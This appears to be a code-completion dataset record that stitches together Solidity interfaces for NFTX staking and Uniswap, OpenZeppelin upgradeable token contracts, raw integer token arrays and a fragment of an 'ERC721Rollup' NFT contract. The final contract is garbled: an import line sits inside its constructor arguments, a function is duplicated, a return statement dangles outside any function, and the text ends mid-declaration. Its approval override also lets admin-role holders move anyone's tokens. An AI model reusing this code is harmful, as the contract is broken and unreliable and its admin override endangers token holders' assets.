initializeVaultReceivers(uint256 _vaultId) external; function changeMultipleReceiverAlloc( uint256[] memory _vaultIds, uint256[] memory _receiverIdxs, uint256[] memory allocPoints ) external; function changeMultipleReceiverAddress( uint256[] memory _vaultIds, uint256[] memory _receiverIdxs, address[] memory addresses, bool[] memory isContracts ) external; function changeReceiverAlloc(uint256 _vaultId, uint256 _idx, uint256 _allocPoint) external; function changeReceiverAddress(uint256 _vaultId, uint256 _idx, address _address, bool _isContract) external; function removeReceiver(uint256 _vaultId, uint256 _receiverIdx) external; // Configuration functions. function setTreasuryAddress(address _treasury) external; function setDefaultTreasuryAlloc(uint256 _allocPoint) external; function setSpecificTreasuryAlloc(uint256 _vaultId, uint256 _allocPoint) external; function setLPStakingAddress(address _lpStaking) external; function setNFTXVaultFactory(address _factory) external; function setDefaultLPAlloc(uint256 _allocPoint) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface INFTXLPStaking { function nftxVaultFactory() external view returns (address); function rewardDistTokenImpl() external view returns (address); function stakingTokenProvider() external view returns (address); function vaultToken(address _stakingToken) external view returns (address); function stakingToken(address _vaultToken) external view returns (address); function rewardDistributionToken(uint256 vaultId) external view returns (address); function newRewardDistributionToken(uint256 vaultId) external view returns (address); function oldRewardDistributionToken(uint256 vaultId) external view returns (address); function unusedRewardDistributionToken(uint256 vaultId) external view returns (address); function rewardDistributionTokenAddr(address stakingToken, address rewardToken) external view returns (address); // Write functions. function __NFTXLPStaking__init(address _stakingTokenProvider) external; function setNFTXVaultFactory(address newFactory) external; function setStakingTokenProvider(address newProvider) external; function addPoolForVault(uint256 vaultId) external; function updatePoolForVault(uint256 vaultId) external; function updatePoolForVaults(uint256[] calldata vaultId) external; function receiveRewards(uint256 vaultId, uint256 amount) external returns (bool); function deposit(uint256 vaultId, uint256 amount) external; function timelockDepositFor(uint256 vaultId, address account, uint256 amount, uint256 timelockLength) external; function exit(uint256 vaultId, uint256 amount) external; function rescue(uint256 vaultId) external; function withdraw(uint256 vaultId, uint256 amount) external; function claimRewards(uint256 vaultId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../token/IERC20Upgradeable.sol"; interface ITimelockRewardDistributionToken is IERC20Upgradeable { function distributeRewards(uint amount) external; function __TimelockRewardDistributionToken_init(IERC20Upgradeable _target, string memory _name, string memory _symbol) external; function mint(address account, address to, uint256 amount) external; function timelockMint(address account, uint256 amount, uint256 timelockLength) external; function burnFrom(address account, uint256 amount) external; function withdrawReward(address user) external; function dividendOf(address _owner) external view returns(uint256); function withdrawnRewardOf(address _owner) external view returns(uint256); function accumulativeRewardOf(address _owner) external view returns(uint256); function timelockUntil(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interface/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721ReceiverUpgradeable.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721HolderUpgradeable is IERC721ReceiverUpgradeable { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC1155ReceiverUpgradeable.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155HolderUpgradeable is ERC1155ReceiverUpgradeable { function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface INFTXEligibility { // Read functions. function name() external pure returns (string memory); function finalized() external view returns (bool); function targetAsset() external pure returns (address); function checkAllEligible(uint256[] calldata tokenIds) external view returns (bool); function checkEligible(uint256[] calldata tokenIds) external view returns (bool[] memory); function checkAllIneligible(uint256[] calldata tokenIds) external view returns (bool); function checkIsEligible(uint256 tokenId) external view returns (bool); // Write functions. function __NFTXEligibility_init_bytes(bytes calldata configData) external; function beforeMintHook(uint256[] calldata tokenIds) external; function afterMintHook(uint256[] calldata tokenIds) external; function beforeRedeemHook(uint256[] calldata tokenIds) external; function afterRedeemHook(uint256[] calldata tokenIds) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function childImplementation() external view returns (address); function upgradeChildTo(address newImplementation) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155ReceiverUpgradeable.sol"; import "../util/ERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155ReceiverUpgradeable is ERC165Upgradeable, IERC1155ReceiverUpgradeable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interface/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interface/IERC165Upgradeable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is IERC165Upgradeable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } }
Write functions. Configuration functions. SPDX-License-Identifier: MIT Write functions.
interface INFTXLPStaking { function nftxVaultFactory() external view returns (address); function rewardDistTokenImpl() external view returns (address); function stakingTokenProvider() external view returns (address); function vaultToken(address _stakingToken) external view returns (address); function stakingToken(address _vaultToken) external view returns (address); function rewardDistributionToken(uint256 vaultId) external view returns (address); function newRewardDistributionToken(uint256 vaultId) external view returns (address); function oldRewardDistributionToken(uint256 vaultId) external view returns (address); function unusedRewardDistributionToken(uint256 vaultId) external view returns (address); function rewardDistributionTokenAddr(address stakingToken, address rewardToken) external view returns (address); function __NFTXLPStaking__init(address _stakingTokenProvider) external; function setNFTXVaultFactory(address newFactory) external; function setStakingTokenProvider(address newProvider) external; function addPoolForVault(uint256 vaultId) external; function updatePoolForVault(uint256 vaultId) external; function updatePoolForVaults(uint256[] calldata vaultId) external; function receiveRewards(uint256 vaultId, uint256 amount) external returns (bool); function deposit(uint256 vaultId, uint256 amount) external; function timelockDepositFor(uint256 vaultId, address account, uint256 amount, uint256 timelockLength) external; function exit(uint256 vaultId, uint256 amount) external; function rescue(uint256 vaultId) external; function withdraw(uint256 vaultId, uint256 amount) external; function claimRewards(uint256 vaultId) external; }
1,846,108
[ 1, 3067, 4186, 18, 4659, 4186, 18, 11405, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 2598, 4186, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 2120, 4464, 60, 14461, 510, 6159, 288, 203, 565, 445, 13958, 978, 12003, 1733, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 19890, 5133, 1345, 2828, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 384, 6159, 1345, 2249, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 9229, 1345, 12, 2867, 389, 334, 6159, 1345, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 384, 6159, 1345, 12, 2867, 389, 26983, 1345, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 19890, 9003, 1345, 12, 11890, 5034, 9229, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 394, 17631, 1060, 9003, 1345, 12, 11890, 5034, 9229, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 1592, 17631, 1060, 9003, 1345, 12, 11890, 5034, 9229, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 10197, 17631, 1060, 9003, 1345, 12, 11890, 5034, 9229, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 19890, 9003, 1345, 3178, 12, 2867, 384, 6159, 1345, 16, 1758, 19890, 1345, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 377, 203, 565, 445, 1001, 50, 4464, 60, 14461, 510, 6159, 972, 2738, 12, 2867, 389, 334, 6159, 1345, 2249, 13, 3903, 31, 203, 565, 445, 444, 50, 4464, 60, 12003, 1733, 12, 2867, 394, 1733, 13, 3903, 31, 203, 565, 445, 444, 510, 6159, 1345, 2249, 12, 2867, 394, 2249, 13, 3903, 31, 203, 565, 445, 527, 2864, 1290, 12003, 12, 11890, 5034, 9229, 548, 2 ]
./full_match/80001/0x7AcbbB1fC0a72233C2103F660fe6037EA8997377/sources/contracts/ERC721Rollup.sol
* @title ERC721Rollup ERC721Rollup - ERC721 contract that has a Merkle based rollup of addition facts about each token which can be added to over time/ url data for the meta data each token has a root for it's merkle tree that can be used to see if a hash exists in that tree we optionally keep a list of legacy roots for extra security - this means that we can prove that a specific root belonged to a specific token in the past. This extra security comes at the cost of extra storage
abstract contract ERC721Rollup is ERC721, Ownable, Pausable, AccessControl, ERC2771ContextUpdateable { using SafeMath for uint256; bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE"); uint256 public totalSupply; bool public mintAutoIncrement = false; bool public trackLegacyRoots = false; bool public transferRoleEnabled = true; string public tokenURIPrefix = ""; mapping(uint256 => bytes32) public tokenRoots; mapping(bytes32 => uint256) public legacyRoots; event ChangeTokenRoot(address indexed _address, uint256 indexed _tokenId, bytes32 _oldRoot, bytes32 indexed _newRoot); constructor( string memory _name, string memory _symbol, bool _mintAutoIncrement import "@openzeppelin/contracts/access/Ownable.sol"; ) ERC721(_name, _symbol) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); _setupRole(TRANSFER_ROLE, msg.sender); mintAutoIncrement = _mintAutoIncrement; } function _msgSender() internal override(Context, ERC2771ContextUpdateable) view returns (address sender) { return ERC2771ContextUpdateable._msgSender(); } function _msgData() internal override(Context, ERC2771ContextUpdateable) view returns (bytes calldata) { return ERC2771ContextUpdateable._msgData(); } function setForwarder(address forwarder) public onlyRole(DEFAULT_ADMIN_ROLE) { _setTrustedForwarder(forwarder); } function isApprovedForAll( address _owner, address _operator ) public override view returns (bool isOperator) { if (transferRoleEnabled && hasRole(DEFAULT_ADMIN_ROLE, _operator)){ return true; } } function isApprovedForAll( address _owner, address _operator ) public override view returns (bool isOperator) { if (transferRoleEnabled && hasRole(DEFAULT_ADMIN_ROLE, _operator)){ return true; } } return ERC721.isApprovedForAll(_owner, _operator); function disableTransferRole() public onlyRole(DEFAULT_ADMIN_ROLE) { transferRoleEnabled = false; } function baseTokenURI() virtual public view returns (string memory) { return tokenURIPrefix; } function tokenURI(uint256 _tokenId) override public view returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId), ".json")); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused 